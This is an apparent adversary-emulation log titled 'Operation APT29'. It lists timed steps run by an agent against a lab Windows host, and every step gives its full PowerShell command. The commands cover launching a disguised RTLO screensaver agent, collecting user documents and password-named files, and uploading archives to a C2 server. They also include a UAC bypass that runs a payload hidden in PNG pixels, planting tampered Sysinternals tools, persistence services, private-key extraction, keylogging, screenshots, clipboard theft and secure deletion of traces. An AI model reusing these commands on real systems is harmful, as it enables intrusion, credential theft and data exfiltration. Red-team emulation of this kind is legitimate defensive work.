STEPS IN OPERATION APT29

The table below shows detailed information about the steps taken in an operation and whether the command run discovered any facts.

Time	Status	Agent	Name	Command	Facts
2023-08-29 T14:25:51Z	success	qurkyx	RTLO Start Sandcat	Sleep 3;$bin = Get-ChildItem *cod*scr*;$arguments = '-server "http://192.168.1.138:8888" -group "rtlo_group"';start-process -WindowStyle Hidden $bin.FullName.toString() -ArgumentList $arguments;if ($?) { write-host "Successfully completed RTLO execution. A new agent should appear"; exit 0;} else { write-host "Failure of RTLO execution."; exit 1;}	No
2023-08-29 T14:26:57Z	success	qurkyx	PowerShell Process-Create	powershell.exe;if ($?) { write-host "[*] PowerShell successfully spawned"; exit 0;}	No
2023-08-29 T14:27:02Z	success	qurkyx	Automated Collection	$env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url,*.xlsx,*.pptx,*.ppsx,*.pst,*.ost,*psw*,*pass*,*login*,*admin*,*sifr*,*sifer*,*vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\Draft.Zip -Force	No
2023-08-29 T14:28:20Z	success	qurkyx	Data from staged file and Exfiltration over C2 Channel	Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "C:\Users\PROFILE_USER\AppData\Roaming\Draft.zip" -Uri "http://192.168.1.138:8888/file/upload";	No
2023-08-29 T14:28:28Z	success	qurkyx	Staging monkey PNG	$username="PROFILE_USER";if ($(test-path -path "C:\Users\$username\Downloads\monkey.png") -eq $false) { copy-item monkey.png -Destination "C:\Users\$username\Downloads\\" -Force; if ($? -eq $True) { write-host "[+] Successfully copied monkey.png!"; get-childitem -path "C:\Users\$username\Downloads\\"; exit 0; } else { write-host "[+] Failed to copy monkey.png."; exit 1; }} else { write-host "[*] monkey.png already exists within C:\users\$username\Downloads..."}	No
2023-08-29 T14:28:36Z	success	qurkyx	UAC Bypass via Backup Utility	if (!(test-path -path $env:windir\system32\sdclt.exe)) { write-host "[!] sdclt.exe was not found on this host."; exit 1;}New-Item -Path HKCU:\Software\Classes -Name Folder -Force;New-Item -Path HKCU:\Software\Classes\Folder -Name shell -Force;New-Item -Path HKCU:\Software\Classes\Folder\shell -Name open -Force;New-Item -Path HKCU:\Software\Classes\Folder\shell\open -Name command -Force;$username="PROFILE_USER";$payload='powershell.exe -noni -noexit -ep bypass -window hidden -c "sal a New-Object;Add-Type -AssemblyName "System.Drawing";	No

				$g=a System.Drawing.Bitmap("C:\Users\$($username)\Downloads\monkey.png");$o=a Byte[] 4480;for($i=0; $i -le 6; $i++){foreach($x in(0..639)){$p=$g.GetPixel($x,$i);$o[$i*640+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3932]))"";Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "(Default)" -Value $payload -Force;Set-ItemProperty -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute" -Value "" -Force;cmd.exe /c sdclt.exe;cmd.exe /c powershell.exe;	
2023-08-29T14:29:18Z	success	qurkyx	Registry Cleanup for UAC Bypass	Remove-Item -Path HKCU:\Software\Classes\Folder* -Recurse -Force;if (!(test-path -path HKCU:\Software\Classes\Folder)) { write-host "[+] Reg keys removed!"; }	No
2023-08-29T14:29:26Z	success	qurkyx	Planting Modified Sysinternals Utilities	iwr -uri "https://download.sysinternals.com/files/SysinternalsSuite.zip" -outfile SysInternalsSuite.zip;Expand-Archive -Path SysInternalsSuite.zip -DestinationPath "C:\Users\PROFILE_USER\Downloads\SysInternalsSuite" -Force;if (! $?) { write-host "Error moving files to PROFILE_USER\Downloads"; exit 1;}Move-Item Modified-SysInternalsSuite.zip "C:\Users\PROFILE_USER\Downloads" -Force;Expand-Archive -LiteralPath "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite.zip" -DestinationPath "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite" -Force;if (! $?) { write-host "Error expanding files to PROFILE_USER\Downloads"; exit 1;}$dir_exists=Test-Path -path "C:\Program Files\SysInternalsSuite";if ($dir_exists -eq $true) { write-host "[*] SysInternalsSuite folder exists within \"C:\Program Files\", copying over payloads then removing folder from Downloads."; Move-Item -path "C:\Users\PROFILE_USER\Downloads\SysInternalsSuite*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force; Move-Item -path "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;} else { mkdir "C:\Program Files\SysInternalsSuite"; Copy-Item -Path "C:\Users\PROFILE_USER\Downloads\SysInternalsSuite*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force; Copy-Item -Path "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite*" -Destination "C:\Program Files\SysInternalsSuite\\" -Force;}if (test-path -path "SysInternalsSuite.zip") { Remove-Item -path "filesystem::SysInternalsSuite.zip" -force;}if (test-path -path "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite.zip") { remove-item -path "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite.zip" -force;}if (test-path -path "C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite") { remove-item -path	No

				"C:\Users\PROFILE_USER\Downloads\Modified-SysInternalsSuite" -recurse -force;}if (test-path -path "C:\Users\PROFILE_USER\Downloads\SysInternalsSuite") { Remove-Item -path "C:\Users\PROFILE_USER\Downloads\SysInternalsSuite" -recurse -force;}Set-Location -path "C:\Program Files\SysInternalsSuite";if ($?) { gci; write-host "[*] Successfully planted files"} else { write-host "[!] Error downloading and planting modified system tools."}	
2023-08-29 T14:31:04Z	success	qurkyx	Process Discovery	$ps = get-process;write-output $ps;	No
2023-08-29 T14:31:12Z	success	qurkyx	Artifact Cleanup - Delete Files	if (! $(test-path -path "C:\Program Files\SysInternalsSuite";)) { write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysInternalsSuite";gci $env:userprofile\Desktop;.\sdelete64.exe /accepteula "$env:USERPROFILE\Desktop\â ®cod.3aka3.scr";.\sdelete64.exe /accepteula "$env:APPDATA\Draft.Zip";.\sdelete64.exe /accepteula "$env:USERPROFILE\Downloads\SysInternalsSuite.zip";	No
2023-08-29 T14:31:20Z	success	qurkyx	Loading Stage-2 & Performing Discovery	if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) { write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysInternalsSuite";if (!(test-path ".\readme.ps1")) { Move-Item .\readme.txt readme.ps1 -Force;}. .\readme.ps1;Invoke-Discovery;	No
2023-08-29 T14:31:27Z	success	qurkyx	Persistent Service - 1	Set-Location -path "C:\Program Files\SysinternalsSuite";if (get-service -name "javamtsup" -ErrorAction SilentlyContinue) { write-host "[*] Service already exists...Not running persistence step-1"; exit 1;}if (Test-Path -path "readme.ps1") { . .\readme.ps1; Invoke-Persistence -PersistStep 1; write-host "[+] Persistence 1 invoked."; exit 0;} else { write-host "[!] readme.ps1 not found."; exit 1;}	No
2023-08-29 T14:31:35Z	success	qurkyx	Persistent Service - 2	Set-Location -path "C:\Program Files\SysinternalsSuite";if (Test-Path -path "readme.ps1") { . .\readme.ps1; Invoke-Persistence -PersistStep 2; write-host "[+] Persistence 2 invoked.";} else { write-host "[!] readme.ps1 not found."; return 1;}	No
2023-08-29 T14:32:37Z	success	qurkyx	Credentials In Files	if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) { write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysinternalsSuite";./accesschk.exe -accepteula .;	No
2023-08-29 T14:32:43Z	success	qurkyx	Credentials In Files-Private Keys Extraction	Import-PfxCertificate -Exportable -FilePath ".\dmevals.local.pfx" -CertStoreLocation Cert:\LocalMachine\My;if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) { write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path	No

				"C:\Program Files\SysinternalsSuite";. .\readme.ps1;Get-PrivateKeys;if ($? -eq $True) { write-host "[+] Successfully executed private key collection script."; exit 0;} else { write-host "[!] Error, could not execution Get-PrivateKeys."; exit 1;}	
2023-08-29 T14:33:25Z	success	qurkyx	Staging files for PowerShell module imports	if (! $(test-path -path "C:\Program Files\SysInternalsSuite")) { write-host "[!] The path C:\Program Files\SysInternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysInternalsSuite";if (test-path -path ".\psversion.txt") { move-item .\psversion.txt psversion.ps1 -Force;} write-host "[+] File psversion.ps1 staged to be imported."	No
2023-08-29 T14:33:31Z	success	qurkyx	Automated Collection-Input Capture	if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) { write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysinternalsSuite";. .\psversion.ps1;Get-Keystrokes;Start-Sleep -Seconds 15;View-Job -JobName "Keystrokes";	No
2023-08-29 T14:33:38Z	success	qurkyx	Screen Capturing	if (! $(test-path -path "C:\Program Files\SysinternalsSuite\psversion.ps1";)) { write-host "[!] The path C:\Program Files\SysinternalsSuite\psversion.ps1 does not exist. Execution has stopped."; exit 1;}Set-Location -path "C:\Program Files\SysinternalsSuite";. .\psversion.ps1;Invoke-ScreenCapture; Start-Sleep -Seconds 3; View-Job -JobName "Screenshot";	No
2023-08-29 T14:33:44Z	success	qurkyx	Automated Collection-Clipboard	$clip_data=get-clipboard;if ($clip_data.Length -gt 0) { write-host "[+] Clipboard data obtained!\n"; write-host $clip_data;} else { write-host "[!] No clipboard data available!\n";}	No
2023-08-29 T14:34:46Z	success	qurkyx	Data from staged file and Exfiltration over C2 Channel	Write-Host "[*] Compressing all the things in download dir";Compress-Archive -Path "C:\Users\PROFILE_USER\Downloads*.*" -Force -DestinationPath "$env:APPDATA\OfficeSupplies.zip";Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "$env:APPDATA\OfficeSupplies.zip" -Uri "http://192.168.1.138:8888/file/upload";if ($?) { write-host "[+] Data exfil of download directory completed!";} else { write-host "[!] Data exfil failed!";}	No
2023-08-29 T14:35:54Z	success	qurkyx	Identifying current user on other machines	Invoke-Command -ComputerName "$(hostname)" -ScriptBlock { Get-Process -IncludeUserName | Select-Object UserName,SessionId | Where-Object { $_.UserName -like "*\$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId -Last 1;	No
2023-08-29 T14:36:01Z	success	qurkyx	Remote System Discovery	if (! $(test-path -path "C:\Program Files\SysinternalsSuite")) { write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped."; exit 1;}Set-Location -path	No

				"C:\Program Files\SysinternalsSuite";. .\psversion.ps1;Ad-Search Computer Name *;	
2023-08-29T14:37:03Z	success	qurkyx	Startup Folder Persistence Execution	cmdkey /add:127.0.0.2 /user:PROFILE_USER /pass:PROFILE_USER;mstsc /v:127.0.0.2;sleep 10; Get-Process -name mstsc; if ($?) { taskkill.exe /F /IM mstsc.exe; exit 0; } else {exit 1;}	No
2023-08-29T14:37:43Z	success	qurkyx	Artifact Cleanup	Remove-Item -Path "$env:USERPROFILE\Downloads*.pfx" -Force;Remove-Item -Path "$env:USERPROFILE\Downloads*.bmp" -Force;Remove-Item -Path "$env:USERPROFILE\Downloads*.png" -Force;if (test-path -path "$env:APPDATA\OfficeSupplies.7z") { Remove-Item -Path "$env:APPDATA\OfficeSupplies.7z" -Force; write-host "[+] Successfully removed OfficeSupplies.7z";} else { write-host "[!] File did not exist to be removed!";}if (get-job -name "Keystrokes" -ErrorAction SilentlyContinue) { Remove-Job -Name "Keystrokes"; if ($?) { write-host "[+] Job \"Keystrokes\" was remove."; } } else { write-host "[!] Job \"Keystrokes\" did not exist.";}if (get-job -Name "Screenshot" -ErrorAction SilentlyContinue) { Remove-Job -Name "Screenshot" -Force; write-host "[+] Job \"screenshot\" was removed.";} else { write-host "[*] Job \"screenshot\" does not exist, thus was not removed."; }remove-item upload.ps1 -Force;	No